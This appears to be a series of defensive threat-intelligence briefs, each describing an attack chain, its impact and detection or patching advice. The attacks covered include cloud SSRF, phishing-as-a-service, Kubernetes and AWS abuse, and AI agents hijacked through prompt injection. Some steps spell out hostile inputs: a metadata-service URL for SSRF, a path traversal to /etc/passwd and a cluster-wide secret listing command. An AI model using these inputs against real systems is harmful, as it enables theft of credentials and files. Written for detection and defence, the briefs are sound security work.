The successful exploitation of Vertex AI agents allows attackers to exfiltrate sensitive data, establish persistent backdoors, and potentially compromise the entire Google Cloud project. This can lead to exposure of Google’s intellectual property through access to the Vertex AI Reasoning Engine’s container images. Furthermore, attackers can gain access to restricted Artifact Registry repositories and Google Cloud Storage buckets containing potentially sensitive information. The impact includes data breaches, intellectual property theft, and potential disruption of critical services running on the compromised infrastructure.

Recommendation

• Implement Bring Your Own Service Account (BYOSA) for Agent Engine to enforce the principle of least privilege, as recommended by Google.
• Monitor service account activity within Google Cloud Platform for anomalous behavior indicative of credential compromise and lateral movement.
• Deploy the Sigma rule to detect attempts to download container images from private repositories after potential P4SA compromise.

Attack Chain

1. Victims receive phishing emails designed to mimic legitimate login pages.
2. Phishing emails direct victims to Tycoon2FA CAPTCHA pages hosted on attacker-controlled domains.
3. Upon CAPTCHA validation, victims’ session cookies are stolen by the attackers.
4. A JavaScript (JS) file extracts victims’ email addresses.
5. Victims are redirected to fake Microsoft 365 or Google login pages hosted on a Tycoon2FA domain.
6. Victims enter their credentials into the fake login pages, which are then captured by the attackers.
7. Stolen credentials are proxied to a legitimate Microsoft 365 cloud account via an obfuscated JS file.
8. Attackers authenticate to the victim’s cloud environment using the stolen cookies and credentials, gaining unauthorized access.

Impact

Tycoon2FA was responsible for 62% of all phishing attempts blocked by Microsoft in mid-2025, generating over 30 million malicious emails in a single month. Successful attacks lead to unauthorized access to victims’ cloud environments, potentially resulting in data theft, business email compromise (BEC), and further malicious activities. Despite law enforcement takedowns, the platform’s rapid resurgence demonstrates the resilience of PhaaS operations and their potential for significant damage.

Recommendation

• Monitor network traffic for connections to known phishing domains or newly registered domains, correlating with user agent strings and HTTP referrer headers common in phishing kits, to detect initial access attempts. Deploy the network_connection Sigma rule to identify suspicious connections.
• Implement detections for suspicious JavaScript execution within browser environments attempting to steal session cookies or extract email addresses. Enable webserver and proxy logging to capture these events and deploy the process_creation Sigma rule to identify associated processes.
• Monitor authentication logs for successful logins from unusual locations or using suspicious user agents after a user has visited a known phishing site. Analyze user authentication patterns and correlate with other security events to detect compromised accounts.

Attack Chain

1. Initial Access (via AI Agent): An attacker gains initial access by compromising an AI agent running on an endpoint, potentially through prompt injection or other vulnerabilities in the agent’s design.
2. Privilege Escalation: The attacker leverages the compromised AI agent’s existing system permissions, which may be elevated, to gain further access to the system. AI agents often have high privileges to execute terminal commands, browse the web, and interact with files.
3. Living off the AI Land (LOTAIL): The attacker uses the compromised AI agent to perform malicious actions that appear as legitimate user behavior, such as executing terminal commands, browsing websites, or interacting with files.
4. Lateral Movement: The attacker utilizes the AI agent’s network connectivity to discover and access other systems within the network, including LLM runtimes, MCP servers, and IDE extensions.
5. Data Exfiltration: The attacker uses the AI agent to exfiltrate sensitive data from the compromised systems, such as source code, credentials, or other confidential information.
6. Supply Chain Compromise: The attacker uses access to development environments via compromised AI tools to introduce malicious code into the software supply chain.
7. Policy Violation: The attacker manipulates the AI agent to violate content policies or access control rules, potentially leading to unauthorized access to sensitive data or systems.

Impact

Successful attacks targeting AI agents and shadow AI can lead to significant data breaches, intellectual property theft, and supply chain compromises. The lack of visibility and governance over AI deployments creates a growing attack surface that traditional security controls are ill-equipped to handle. Compromised AI agents can be used to perform a wide range of malicious activities, including data exfiltration, lateral movement, and the introduction of malicious code into the software supply chain. The impact can range from financial losses and reputational damage to the compromise of critical infrastructure and sensitive government systems.

Recommendation

• Deploy the Sigma rule “AI Desktop Application Usage Detected” to identify and monitor the use of AI desktop applications such as ChatGPT, Gemini, and others within your environment. This rule uses process_creation logs to detect the execution of these applications (see rule below).
• Enable and configure AI Discovery in CrowdStrike Falcon Exposure Management to gain visibility into AI-related components running across endpoints, including AI apps, LLM runtimes, MCP servers, and IDE extensions. This leverages Falcon for IT telemetry as described in the overview.
• Implement Falcon AIDR policies to monitor and protect agents built in Microsoft Copilot Studio against prompt injection attacks, data leaks, and policy violations.
• Review and update access control policies for AI agents to minimize the potential impact of a compromise, focusing on the principle of least privilege.

Attack Chain

1. An attacker identifies an application that has the frontendApiProxy feature enabled and is running a vulnerable version of @clerk/backend, @clerk/express, @clerk/hono, or @clerk/fastify.
2. The attacker crafts a malicious HTTP request targeting the proxy endpoint (/__clerk/ by default). The request path includes double slashes or other path manipulation techniques to bypass intended routing logic.
3. The vulnerable clerkFrontendApiProxy function processes the crafted request without proper sanitization or validation of the request path.
4. Due to the SSRF vulnerability, the proxy makes an internal request to an unintended destination, potentially including an attacker-controlled server.
5. The application’s Clerk-Secret-Key is inadvertently included in the headers or body of the internal request made by the proxy.
6. The attacker-controlled server receives the request containing the Clerk-Secret-Key.
7. The attacker extracts the Clerk-Secret-Key from the captured request.
8. With the compromised Clerk-Secret-Key, the attacker can impersonate the application, access protected resources, or perform other unauthorized actions within the Clerk ecosystem.

Impact

Successful exploitation of this SSRF vulnerability allows an attacker to obtain the Clerk-Secret-Key of a vulnerable application. While internal logs from Clerk show no evidence of active exploitation, the potential impact of a compromised secret key is significant. An attacker with the key can impersonate the application, potentially leading to unauthorized access to user data, modification of application settings, or other malicious activities. The severity is further heightened because a successful attack can occur without authentication.

Recommendation

• Upgrade to the patched version of @clerk/backend (3.2.3), @clerk/express (2.0.7), @clerk/hono (0.1.5), or @clerk/fastify (3.1.5) immediately if you are using the frontendApiProxy feature.
• Rotate your Clerk Secret Key in the Clerk Dashboard under API Keys after upgrading to mitigate potential compromise, as recommended by the advisory.
• Audit access logs for requests to your proxy endpoint (/__clerk/ by default) containing double slashes in the path to detect potential exploitation attempts.
• Deploy the Sigma rule provided below to identify requests with double slashes to the Clerk proxy endpoint.

Attack Chain

1. Initial Compromise: An organization’s cloud infrastructure is misconfigured, creating an overly permissive access control to a storage resource containing customer PII.
2. Discovery: An adversary, potentially aligned with a group like LABYRINTH CHOLLIMA or SCATTERED SPIDER, identifies the misconfigured storage resource through reconnaissance activities.
3. Lateral Movement: The adversary uses the initial access to move laterally within the cloud environment, exploiting existing roles and permissions.
4. Privilege Escalation: The adversary elevates privileges to gain access to sensitive applications, exploiting vulnerabilities or misconfigurations.
5. Data Access: The attacker accesses applications connected to the storage resource, including business-critical applications processing payment information.
6. Data Exfiltration: The adversary exfiltrates sensitive customer PII from the storage resource, taking advantage of the permissive access controls.
7. Impact: The exfiltrated data is used for malicious purposes, such as identity theft or financial fraud, leading to financial and reputational damage for the targeted organization.

Impact

The enhanced CNAPP capabilities aim to reduce the likelihood and impact of cloud breaches. In 2025, cloud intrusions by state-nexus threat actors surged by 266%. Successfully exploiting cloud misconfigurations can lead to significant data breaches, financial losses, and reputational damage. Organizations across various sectors, especially financial services, are at risk. Failure to prioritize and remediate cloud risks can result in the compromise of business-critical applications and sensitive data, including personally identifiable information (PII).

Recommendation

• Prioritize deployment of Falcon Cloud Security to gain application-layer visibility and identify infrastructure risks impacting critical applications as described in the Overview.
• Utilize the adversary intelligence feature in Falcon Cloud Security to prioritize risk remediation based on known threat actor behavior, specifically focusing on groups like LABYRINTH CHOLLIMA and SCATTERED SPIDER as mentioned in the Overview.
• Implement the following Sigma rule to detect anomalous access to cloud storage resources.
• Enable and review cloud configuration logs to identify misconfigurations leading to overly permissive access controls, enabling faster remediation and prevention of future exposures, as described in the Attack Chain.

Attack Chain

1. The attacker identifies a vulnerable endpoint in the Postiz application that accepts a URL as input.
2. The attacker crafts a malicious URL pointing to an internal resource, such as http://169.254.169.254/latest/meta-data/.
3. The Postiz server, without proper validation, makes an HTTP request to the specified URL.
4. If successful, the server retrieves the requested data from the internal resource.
5. The server returns the retrieved data to the attacker in the HTTP response.
6. The attacker obtains sensitive information such as AWS instance metadata, including IAM roles and access keys.
7. The attacker uses the compromised credentials to pivot into other AWS resources or the internal network.

Impact

A successful SSRF attack can have significant consequences. Attackers can bypass firewall restrictions to scan and interact with internal network services, potentially discovering sensitive information and exploiting further vulnerabilities. Accessing cloud metadata services like AWS IMDS allows for the theft of instance credentials, enabling attackers to compromise other AWS resources and escalate their privileges. This vulnerability can lead to a full compromise of the internal network environment where Postiz is hosted, potentially impacting all services and data within that environment.

Recommendation

• Upgrade Postiz to version v2.21.1 to patch the SSRF vulnerability as recommended by the vendor.
• Deploy the Sigma rule “Detect SSRF Attempt to AWS IMDS” to identify attempts to access the AWS metadata service (169.254.169.254) via HTTP requests.
• Monitor web server logs for unusual outbound HTTP requests to internal IP addresses and private networks, specifically those originating from the Postiz application.

Attack Chain

1. Attacker identifies an Ory Kratos instance running a version prior to 26.2.0.
2. Attacker checks the Kratos configuration to determine if secrets.pagination is set.
3. If secrets.pagination is not set, the attacker leverages the publicly known default pagination encryption secret.
4. The attacker crafts a malicious pagination token containing SQL injection payloads. This token exploits the vulnerable pagination logic in the ListCourierMessages API.
5. Attacker sends a request to the /admin/courier/messages endpoint with the crafted pagination token in the page_token parameter.
6. The Kratos application processes the malicious token, leading to the execution of arbitrary SQL queries against the underlying database.
7. The SQL injection allows the attacker to potentially read, modify, or delete sensitive data within the Kratos database, including user credentials, configuration settings, or other confidential information.
8. The attacker may use the compromised data for further attacks, such as account takeover or privilege escalation.

Impact

Successful exploitation of this SQL injection vulnerability can lead to complete compromise of the Ory Kratos instance. This can result in unauthorized access to user accounts, disclosure of sensitive information, and potential data manipulation or deletion. The severity is high due to the potential for significant data breach and service disruption impacting all users managed by the compromised Kratos instance. The number of victims depends on the size and user base of the affected Ory Kratos deployment.

Recommendation

• Immediately configure a custom value for secrets.pagination by generating a cryptographically secure random secret within your Ory Kratos configuration (reference: Overview section).
• Upgrade Ory Kratos to version 26.2.0 or later to patch the SQL injection vulnerability (reference: Overview section).
• Monitor web server logs for suspicious requests to the /admin/courier/messages endpoint containing unusually long or malformed page_token parameters (create a custom rule based on this behavior).
• Implement a Web Application Firewall (WAF) rule to block requests with suspicious SQL syntax in the page_token parameter targeting the /admin/courier/messages endpoint.

Attack Chain

1. The attacker gains initial local access to a system running RedHat Multicluster Engine for Kubernetes, possibly through compromised credentials or an existing vulnerability.
2. The attacker identifies the specific vulnerable component within the RedHat Multicluster Engine.
3. The attacker crafts a malicious payload designed to exploit the vulnerability.
4. The attacker executes the payload locally on the compromised system, targeting the vulnerable component.
5. Successful exploitation grants the attacker elevated privileges within the Kubernetes environment.
6. The attacker leverages the escalated privileges to access sensitive resources or perform unauthorized actions within the Kubernetes cluster.
7. The attacker may attempt to further compromise other nodes or services within the cluster.

Impact

Successful exploitation of this vulnerability allows a local attacker to escalate their privileges within a RedHat Multicluster Engine for Kubernetes environment. This can lead to unauthorized access to sensitive data, compromise of containerized applications, and potential disruption of services. The impact could range from data breaches to complete cluster takeover, depending on the scope of the attacker’s activities after privilege escalation.

Recommendation

• Monitor process creation events for suspicious activity within the Kubernetes environment that may indicate exploitation attempts (see generic process creation rules).
• Investigate any unexpected privilege escalations or changes in user permissions within the RedHat Multicluster Engine environment.
• As details emerge, deploy specific detection rules to identify exploitation of the RedHat Multicluster Engine vulnerability within your environment.

Attack Chain

1. The attacker identifies a vulnerable Red Hat OpenShift GitOps instance accessible remotely.
2. The attacker exploits a vulnerability allowing for unauthenticated access to sensitive data within the GitOps system.
3. The attacker leverages another vulnerability to inject malicious code into the GitOps configuration.
4. The injected code is then used to modify application deployment parameters.
5. The modified parameters lead to the deployment of compromised application versions.
6. Alternatively, the attacker exploits a denial-of-service vulnerability to disrupt the GitOps service.
7. The disrupted service prevents legitimate application deployments or updates.

Impact

Successful exploitation of these vulnerabilities in Red Hat OpenShift GitOps can lead to data manipulation, where critical application configurations are altered without authorization. Information can be misrepresented, leading to incorrect operational decisions. A denial of service can disrupt application deployments and updates, impacting service availability. The impact depends on the specific vulnerabilities exploited and the target environment.

Recommendation

• Review Red Hat’s security advisories for specific CVEs related to OpenShift GitOps and apply necessary patches immediately (references).
• Implement network segmentation to limit remote access to OpenShift GitOps instances (network_connection).
• Monitor OpenShift GitOps logs for suspicious activity, such as unauthorized configuration changes or access attempts (file_event, process_creation).

Attack Chain

1. A machine learning engineer provisions a new VM in the cloud for data processing tasks.
2. The VM is assigned a workload identity with overly broad read/write access to data storage and other resources, neglecting the principle of least privilege.
3. The project concludes, but the VM remains active and unmonitored, with its initial, excessive permissions intact.
4. An attacker compromises the neglected VM, exploiting its lack of patching and weak security configurations.
5. The attacker leverages the VM’s existing identity to probe adjacent instances within the same virtual network (VNet) or virtual private cloud (VPC) using east-west traffic.
6. The attacker gains access to internal databases or storage endpoints, exploiting the VM’s over-permissioned identity.
7. The attacker moves laterally to other VMs via internal Remote Desktop Protocol (RDP), staging data for exfiltration.
8. The attacker deploys ransomware across the cloud network, impacting critical workloads and data.

Impact

Compromised and neglected VMs in cloud environments can lead to significant financial and reputational damage. Attackers can exfiltrate sensitive data, deploy ransomware, disrupt critical business operations, and incur substantial fines due to non-compliance with regulatory frameworks like NIST 800-53 and PCI DSS 4.0. IBM’s Cost of a Data Breach 2025 report found that 30% of breaches affected data across multiple environments, demonstrating the wide-ranging impact of inadequate cloud security. The dwell time, or the time between initial infiltration and detection, is significantly longer for organizations lacking visibility into their cloud environments, leading to increased costs and damage. According to a recent survey, one in three SMBs reported being hit with substantial fines following a cyberattack.

Recommendation

• Implement a comprehensive VM inventory across all cloud platforms to identify and track all active virtual machines. Reference: “every organization needs to inventory its VM fleets across all cloud platforms”.
• Conduct regular reviews of permissions attached to VM identities, ensuring adherence to the principle of least privilege to minimize the blast radius of potential compromises. Reference: “review the permissions attached to the identity of each VM”.
• Implement network micro-segmentation to restrict east-west traffic between VMs, limiting lateral movement opportunities for attackers. Reference: “audit their settings for unnecessary ‘east-west’ and ‘north-south’ openness”.
• Enable and tune process creation logging on cloud VMs to detect unusual or unauthorized processes. This can be achieved via native cloud tooling or third-party endpoint detection and response (EDR) solutions. Reference: “security tooling can keep an eye on VMs with the same rigor as applied to the endpoints on employee desks”.

Attack Chain

1. An attacker gains the ability to create TaskRuns or PipelineRuns within a Tekton Pipelines environment.
2. The attacker crafts a malicious ResolutionRequest that leverages the git resolver.
3. Within the ResolutionRequest, the attacker injects a path traversal sequence into the pathInRepo parameter, such as “../../../../etc/passwd”.
4. The git resolver attempts to resolve the resource using the provided path.
5. Due to the path traversal vulnerability, the resolver accesses the file specified by the attacker on the resolver pod’s file system.
6. The contents of the accessed file are read by the resolver.
7. The resolver encodes the file content in base64.
8. The base64-encoded content is returned in the resolutionrequest.status.data field, allowing the attacker to retrieve the content. This can include sensitive files such as ServiceAccount tokens.

Impact

Successful exploitation of CVE-2026-33211 allows attackers to read arbitrary files from the Tekton Pipelines resolver pod. This can lead to the compromise of sensitive information, including ServiceAccount tokens. If ServiceAccount tokens are compromised, attackers can potentially gain unauthorized access to Kubernetes resources, leading to privilege escalation, lateral movement within the cluster, and potential data exfiltration. The impact is especially high in multi-tenant environments.

Recommendation

• Upgrade Tekton Pipelines to versions 1.0.1, 1.3.3, 1.6.1, 1.9.2, or 1.10.2 or later to patch CVE-2026-33211.
• Implement strict RBAC policies to limit the ability to create TaskRuns and PipelineRuns to only authorized users and service accounts.
• Monitor Kubernetes API audit logs for suspicious ResolutionRequest creation events (see rule: “Detect Suspicious ResolutionRequest Creation”).
• Implement network policies to restrict network access from the resolver pod to only necessary resources.

Attack Chain

1. An attacker gains unauthorized access to an AWS account, potentially through compromised credentials or an exploited vulnerability.
2. The attacker uses the AWS CLI or the AWS Management Console to interact with the EC2 service.
3. The attacker identifies the target route table to modify.
4. The attacker executes the CreateRoute API call, specifying the destination CIDR block and target (e.g., an internet gateway, virtual private gateway, or network interface).
5. CloudTrail logs the CreateRoute event, capturing details of the action, including the user identity, source IP address, and the route table modification.
6. Network traffic matching the new route’s destination CIDR block is now redirected to the attacker-controlled target.
7. The attacker monitors and potentially modifies the redirected traffic for reconnaissance or data exfiltration purposes.

Impact

Successful modification of AWS route tables can lead to significant security breaches. An attacker could redirect critical network traffic to a malicious endpoint, enabling them to intercept sensitive data or disrupt services. This could lead to data breaches, financial loss, and reputational damage. The scope of the impact depends on the criticality of the redirected traffic and the attacker’s objectives.

Recommendation

• Deploy the “Detect AWS Route Table Modification via CloudTrail” Sigma rule to your SIEM and tune for your environment to detect suspicious route creation events in AWS CloudTrail logs.
• Investigate any CreateRoute events where the user identity is unexpected or the destination CIDR block and target are suspicious.
• Monitor AWS CloudTrail logs for CreateRoute events and correlate them with other suspicious activities.
• Implement strict IAM policies to limit who can modify route tables (reference the eventSource and eventName fields in the rule below).

Attack Chain

1. An attacker gains initial access to an AWS account, potentially through compromised credentials or an exploited vulnerability.
2. The attacker identifies the existing Network ACLs within the target Virtual Private Cloud (VPC).
3. The attacker uses the AWS Management Console, CLI, or API to create a new Network ACL entry. The CreateNetworkAclEntry event is logged in CloudTrail.
4. The new ACL entry may be configured to allow specific inbound or outbound traffic that was previously blocked, effectively opening a new attack vector.
5. Alternatively, the new ACL entry may be configured to deny legitimate traffic, causing a denial-of-service condition for specific services or resources.
6. The attacker leverages the newly created ACL entry to move laterally within the AWS environment, accessing previously inaccessible resources.
7. The attacker performs malicious actions, such as data exfiltration or resource compromise, using the newly opened network pathways.

Impact

The creation of unauthorized Network ACL entries can have significant consequences. It can lead to the opening of new attack vectors, allowing unauthorized access to sensitive data and critical resources. In some scenarios, it can result in a denial-of-service condition, disrupting legitimate business operations. Depending on the scope of the compromised resources and data, the impact can range from minor inconvenience to significant financial loss and reputational damage. Early detection of this activity is crucial to mitigating potential risks.

Recommendation

• Deploy the Sigma rule “New Network ACL Entry Added” to your SIEM to detect suspicious ACL modifications (logsource: aws, service: cloudtrail).
• Investigate any CreateNetworkAclEntry events that deviate from established baseline configurations or involve unexpected source/destination IP ranges.
• Review and audit existing Network ACL configurations regularly to identify and remediate any overly permissive or restrictive rules.
• Implement multi-factor authentication (MFA) for all AWS accounts to reduce the risk of credential compromise and unauthorized access.
• Monitor CloudTrail logs for other related events, such as DeleteNetworkAclEntry or ReplaceNetworkAclEntry, which may indicate further tampering with network security configurations.

Attack Chain

1. A low-privileged technician logs into the SimpleHelp console with their existing credentials.
2. The technician leverages the missing authorization vulnerability to create a new API key.
3. During API key creation, the attacker manipulates the request to assign excessive permissions beyond their authorized access level.
4. The attacker uses the newly created API key to authenticate against the SimpleHelp API.
5. The attacker leverages the elevated permissions granted by the manipulated API key to access administrative functions.
6. The attacker escalates their privileges to the server admin role, granting them complete control over the SimpleHelp server.
7. The attacker uses the server admin role to access sensitive data, modify system configurations, or create new administrative accounts.
8. The attacker potentially pivots to other systems within the network using the compromised SimpleHelp server as a stepping stone.

Impact

Successful exploitation of CVE-2024-57726 allows low-privileged technicians, or malicious actors who have compromised technician accounts, to escalate their privileges to the server admin role in SimpleHelp. This grants them complete control over the SimpleHelp server, potentially leading to data breaches, system downtime, and further compromise of the network. The vulnerability affects organizations using SimpleHelp versions 5.5.7 and earlier. The number of victims and specific sectors targeted remain unknown, but the potential impact is significant due to the sensitive nature of remote support software.

Recommendation

• Apply mitigations provided by SimpleHelp to patch the missing authorization vulnerability in SimpleHelp versions 5.5.7 and earlier (reference: https://simple-help.com/kb---security-vulnerabilities-01-2025#security-vulnerabilities-in-simplehelp-5-5-7-and-earlier).
• Deploy the Sigma rule Detect Suspicious SimpleHelp API Key Creation to identify attempts to create API keys with excessive permissions.
• Follow applicable BOD 22-01 guidance for cloud services or discontinue use of SimpleHelp if mitigations are unavailable.

Attack Chain

1. An attacker gains initial access to AWS environment using compromised credentials (access key, secret key).
2. The attacker uses the compromised credentials with the AWS CLI or SDK to call the GetSigninToken API.
3. AWS CloudTrail logs the GetSigninToken event with the event source signin.amazonaws.com and event name GetSigninToken.
4. The GetSigninToken API returns a temporary sign-in token.
5. The attacker uses the temporary token along with the AWS account ID to construct a sign-in URL.
6. The attacker accesses the AWS Management Console via the crafted URL, bypassing MFA if the original compromised credentials required it.
7. Once in the console, the attacker performs reconnaissance, identifies valuable resources, and escalates privileges as needed.
8. The attacker moves laterally within the AWS environment, accessing and potentially exfiltrating sensitive data, or disrupting services.

Impact

Successful abuse of the GetSigninToken API can lead to unauthorized access to the AWS Management Console, enabling lateral movement and data exfiltration. The obfuscation of the original compromised credentials makes incident response more difficult. While the exact number of victims is unknown, this technique has been observed in intrusions targeting telecom and BPO companies. The impact includes potential data breaches, service disruptions, and reputational damage.

Recommendation

• Deploy the provided Sigma rule to your SIEM to detect suspicious GetSigninToken events in AWS CloudTrail logs.
• Investigate any GetSigninToken events originating from outside of expected AWS SSO user agents or other known legitimate sources.
• Monitor AWS CloudTrail logs for GetSigninToken events where the requesting user identity does not match expected patterns.
• Implement and enforce MFA for all AWS IAM users, even though this attack bypasses it for console access using the temporary tokens.
• Review and restrict IAM policies to adhere to the principle of least privilege, minimizing the potential impact of compromised credentials.

Attack Chain

1. Attacker authenticates to their assigned tenant with administrator privileges.
2. Attacker logs out of the root domain (e.g., saltcorn.com).
3. Attacker navigates to the tenant-specific URL, where they have admin rights.
4. Attacker appends /tenant/create to the tenant URL (e.g., tenant.saltcorn.com/tenant/create).
5. The application evaluates the user’s role in the context of the tenant (admin role).
6. The application then attempts to create a new tenant but incorrectly does so under the root domain’s _sc_tenants schema instead of the tenant’s.
7. The new tenant is created in the root domain (PUBLIC SCHEMA > _sc_tenants).
8. The attacker effectively gains the ability to create tenants in the root domain, escalating privileges.

Impact

Successful exploitation of this vulnerability grants tenant administrators unauthorized admin-level access to the root domain of the Saltcorn Data instance. This could lead to unauthorized modification or deletion of data within the root domain, disruption of service for all tenants hosted on the instance, and potential further escalation of privileges within the system. The advisory does not state specific victim counts or sectors targeted, but the impact is significant due to the potential for widespread disruption and data compromise.

Recommendation

• Upgrade Saltcorn Data to a patched version (>= 1.4.4, >= 1.5.2, or >= 1.6.0-beta.2) to remediate the vulnerability (reference: Affected Packages).
• Monitor web server logs for requests to the /tenant/create endpoint originating from tenant administrator sessions to detect potential exploitation attempts (reference: Sigma rule Detect Saltcorn Unauthorized Tenant Creation).
• Implement additional server-side validation to ensure tenant creation requests are properly scoped to the originating tenant’s schema (reference: advisory summary).

Attack Chain

1. Attacker gains initial access to a system with Kubernetes API access, potentially through compromised credentials or a vulnerable application.
2. The attacker authenticates to the Kubernetes API server.
3. The attacker sends a request to the Kubernetes API to execute a shell within a pod, such as /bin/bash or /bin/sh, potentially URL-encoded.
4. The attacker uses kubectl within a pod to gather information about cluster resources, such as pods, services, and deployments.
5. The attacker attempts to download tools like curl or wget into a pod to facilitate further reconnaissance or lateral movement.
6. The attacker uses tools like Rakkess to enumerate role-based access control (RBAC) permissions to identify potential privilege escalation paths.
7. The attacker deploys TruffleHog to scan pod environments for exposed secrets, such as API keys and passwords.
8. The attacker exfiltrates gathered information and secrets or uses the gained access for lateral movement within the cluster or connected networks.

Impact

Successful enumeration of a Kubernetes cluster can provide attackers with detailed information about the cluster’s architecture, deployed applications, and security configurations. This allows attackers to identify vulnerabilities, escalate privileges, and gain access to sensitive data, such as API keys, passwords, and other secrets. This can lead to data breaches, service disruptions, and compromised infrastructure. The impact can range from a limited data exposure to a full-scale compromise of the entire Kubernetes environment and connected cloud resources.

Recommendation

• Deploy the “Kubernetes Potential Enumeration Activity” Sigma rule to your SIEM to detect suspicious API requests containing shell commands, file transfer utilities, or specialized tools (Sigma rule).
• Investigate any alerts triggered by the Sigma rule to determine the scope and impact of the potential enumeration activity.
• Review and harden RBAC configurations to minimize the potential for privilege escalation (attack.t1609).
• Implement strict network segmentation to limit lateral movement within the cluster and connected networks.
• Regularly scan pods for exposed secrets using dedicated secret scanning tools and enforce secure secret management practices.
• Monitor Kubernetes audit logs for unusual or unauthorized API activity (logsource: kubernetes, service: audit).

Attack Chain

1. Compromise Azure Account: The attacker gains access to an Azure account, potentially through stolen credentials or exploiting a vulnerability.
2. Provision Rogue AD Health Service: The attacker programmatically provisions a new AD Health Service within the compromised Azure environment, specifically targeting AD FS.
3. Create Fake Server Instance: Within the newly created AD Health Service, the attacker creates a fake server instance, mimicking a legitimate AD FS server. The ResourceId will contain AdFederationService.
4. Manipulate Logs: Using the fake server instance, the attacker injects or alters AD FS signing logs, creating a false narrative of user authentication events.
5. Impersonate Users/Bypass Authentication: The attacker uses the manipulated logs to impersonate legitimate users or bypass authentication controls in applications relying on AD FS.
6. Lateral Movement/Privilege Escalation: Using the falsely acquired credentials or authentication tokens, the attacker moves laterally within the network, escalating privileges to access sensitive resources.
7. Data Exfiltration/System Compromise: The attacker exfiltrates sensitive data or gains control over critical systems using the compromised accounts and manipulated logs.

Impact

Successful exploitation allows attackers to spoof AD FS signing logs, potentially leading to unauthorized access, data breaches, and system compromise. The compromised logs can be used to cover the attacker’s tracks, making detection and incident response more difficult. Organizations relying on Azure AD Hybrid Health for AD FS monitoring are at risk of having their security posture undermined. The number of potential victims is substantial, as many organizations use AD FS for authentication and rely on its logs for security monitoring.

Recommendation

• Deploy the Sigma rule Azure Active Directory Hybrid Health AD FS New Server to your SIEM to detect the creation of new AD FS server instances within the Azure AD Hybrid Health Service. Tune the rule for your environment to minimize false positives.
• Monitor Azure Activity Logs for any unusual activity related to the Microsoft.ADHybridHealthService resource provider and the Microsoft.ADHybridHealthService/services/servicemembers/action operation, specifically the Administrative category.
• Review and validate all AD FS server instances registered within the Azure AD Hybrid Health Service to ensure their legitimacy.
• Implement multi-factor authentication (MFA) for all Azure accounts to prevent unauthorized access and mitigate the risk of initial compromise.

Attack Chain

1. An attacker gains unauthorized access to an AWS account with sufficient privileges.
2. The attacker authenticates to the AWS environment using compromised credentials or an exploited IAM role.
3. The attacker executes the StopLogging API call against the CloudTrail service, effectively halting the recording of events.
4. Alternatively, the attacker may execute the UpdateTrail API call to modify the CloudTrail configuration. This could involve changing the S3 bucket destination, disabling log file validation, or altering event selectors to exclude specific events.
5. As another option, the attacker may execute the DeleteTrail API call, completely removing the CloudTrail configuration from the AWS account.
6. After disabling, modifying, or deleting the trail, the attacker proceeds with their malicious activities, knowing that their actions are less likely to be recorded and detected.
7. The attacker may then attempt to further obfuscate their activities by deleting or modifying any remaining log data.

Impact

Disabling or modifying CloudTrail logging can have severe consequences. It impairs an organization’s ability to detect and respond to security incidents in their AWS environment. Without proper logging, incident responders may struggle to determine the scope and impact of a breach, leading to delayed or ineffective remediation efforts. The inability to audit user activity can also hinder compliance efforts and potentially lead to regulatory penalties.

Recommendation

• Deploy the provided Sigma rule to your SIEM to detect StopLogging, UpdateTrail, and DeleteTrail events in CloudTrail logs.
• Implement multi-factor authentication (MFA) for all AWS accounts, especially those with administrative privileges, to reduce the risk of unauthorized access.
• Monitor AWS CloudTrail logs for unexpected changes to IAM policies, which could grant excessive permissions to attackers.
• Enable log file validation to ensure the integrity of CloudTrail logs.
• Use AWS Config to monitor CloudTrail configuration and alert on any deviations from the desired state.
• Review AWS documentation on security best practices for AWS CloudTrail to ensure proper configuration and monitoring.

Attack Chain

1. An attacker compromises an AWS account or obtains IAM credentials with sufficient permissions, including kms:PutKeyPolicy on a target KMS key.
2. The attacker uses the compromised credentials to call the PutKeyPolicy API, replacing the existing key policy with a modified version.
3. The modified key policy grants the attacker’s AWS account, or an external account, permissions to perform cryptographic operations on the key, such as kms:Decrypt or kms:GenerateDataKey.
4. The attacker utilizes the newly granted permissions to decrypt data encrypted with the KMS key, such as data stored in S3 buckets or EBS volumes.
5. The attacker may also grant administrative actions to new identities.
6. The attacker exfiltrates the decrypted data to an external location.
7. The attacker attempts to cover their tracks by deleting CloudTrail logs or modifying other security configurations.

Impact

Successful exploitation can lead to unauthorized access to sensitive data encrypted with the KMS key, potentially resulting in data breaches, financial loss, and reputational damage. The severity depends on the sensitivity of the data protected by the key and the scope of access granted to the attacker. This can impact organizations across various sectors that rely on AWS KMS for data encryption, potentially affecting millions of records and causing significant operational disruption.

Recommendation

• Deploy the Sigma rule “AWS KMS Key Policy Updated via PutKeyPolicy” to your SIEM and tune for your environment to detect unauthorized modifications to KMS key policies.
• Review the policy document diff in aws.cloudtrail.request_parameters and aws.cloudtrail.response_elements to identify unauthorized changes to principals.
• Restrict the kms:PutKeyPolicy permission to break-glass roles only, limiting the potential for unauthorized modifications.
• Monitor iam:AttachRolePolicy and sts:AssumeRole events to correlate with potential privilege escalation attempts related to KMS key access.
• Restore a known-good KMS policy from backup or IAM/KMS change history to remediate unauthorized modifications.

Attack Chain

1. Attacker gains initial access to a Kubernetes cluster, possibly through compromising a pod or node.
2. Attacker obtains credentials for a service account associated with the compromised pod or accesses node credentials.
3. Attacker uses the stolen credentials to authenticate against the Kubernetes API.
4. The attacker attempts to enumerate secrets within the cluster using kubectl get secrets --all-namespaces or similar API calls.
5. The Kubernetes API server receives the request and generates an audit log entry.
6. This audit log entry contains details such as the user (system:node:* or system:serviceaccount:*), the action (get or list), and the resource (secrets).
7. The attacker identifies valuable secrets containing sensitive information such as API keys or database passwords.
8. Attacker exfiltrates the secrets, gaining unauthorized access to other systems or data.

Impact

Compromised Kubernetes secrets can lead to a wide range of security breaches, including unauthorized access to sensitive data, lateral movement within the cluster, and compromised external services that rely on the exposed credentials. If successful, attackers could gain complete control over the cluster and its applications, leading to data breaches, service disruption, and reputational damage. The risk is elevated in environments where secrets are not properly managed or where RBAC is overly permissive.

Recommendation

• Deploy the provided Sigma rule to your SIEM to detect unauthorized secret access attempts by node or pod service accounts in Kubernetes audit logs.
• Review RBAC configurations to ensure least privilege for service accounts and nodes, limiting their access to only necessary secrets.
• Investigate any alerts generated by the Sigma rule, focusing on cross-namespace access, high-value secret names, and unusual user agents.
• Implement a process for regularly rotating secrets and auditing access to sensitive resources within the Kubernetes cluster.
• Baseline normal secret access patterns for in-cluster operators, CSI drivers, and GitOps agents, and create allowlists to reduce false positives.

Attack Chain

1. An attacker obtains valid Okta credentials through phishing, credential stuffing, or other means. (T1078)
